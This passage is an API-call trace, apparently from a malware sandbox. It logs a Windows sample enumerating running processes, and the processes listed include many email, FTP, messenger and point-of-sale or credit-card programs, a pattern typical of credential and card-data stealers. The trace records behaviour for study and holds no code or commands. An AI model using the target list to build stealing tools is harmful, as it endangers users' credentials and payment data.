th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0263.921] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0263.923] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0263.974] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0263.977] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xea0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0263.979] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xeb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0263.982] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xebc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0263.984] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xec4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0263.986] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xecc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0263.989] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xed4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0263.991] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xedc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0263.994] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xee4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0263.996] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0263.998] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0264.001] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0264.004] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0264.006] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0264.009] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0264.011] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0264.013] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0264.015] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0264.018] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0264.069] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0264.071] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0264.073] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfa4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0264.076] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0264.078] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0264.080] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0264.083] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xff4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0264.085] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xffc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0264.087] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0264.090] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1008, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0264.092] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1018, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0264.094] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1020, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0264.107] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1030, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="nowstudy.exe")) returned 1 [0264.109] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x103c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="talk personal.exe")) returned 1 [0264.111] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1048, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="evening.exe")) returned 1 [0264.161] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1050, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="entire.exe")) returned 1 [0264.163] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1058, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="figure.exe")) returned 1 [0264.165] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x158, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0264.167] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x113c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0264.170] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x390, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0264.172] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x360, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0264.175] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="311B.exe")) returned 1 [0264.177] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0264.179] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 0 [0264.181] CloseHandle (hObject=0x1024) returned 1 [0264.181] Sleep (dwMilliseconds=0x64) [0264.224] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1024 [0264.290] Process32First (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0264.292] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x72, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0264.294] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0264.296] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0264.298] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x17c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0264.300] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0264.302] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0264.304] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0264.310] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0264.313] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x274, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0264.314] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0264.317] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0264.318] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x48, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0264.320] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0264.365] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x390, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0264.368] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0264.370] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0264.372] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x210, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0264.374] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x460, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0264.376] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0264.412] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0264.415] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0264.417] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x64c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0264.420] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x29, th32ParentProcessID=0x798, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0264.422] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0264.424] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0264.426] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x908, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0264.428] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0264.430] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0264.432] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xaac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0264.434] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0264.436] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x158, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0264.477] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pay.exe")) returned 1 [0264.479] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="stay agreement figure.exe")) returned 1 [0264.482] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="focus-mr.exe")) returned 1 [0264.484] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="democrat save after.exe")) returned 1 [0264.486] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="happychoicepolicy.exe")) returned 1 [0264.489] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="half.exe")) returned 1 [0264.491] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd40, th32DefaultHeapID=0x0, th32ModuleID=0x0, 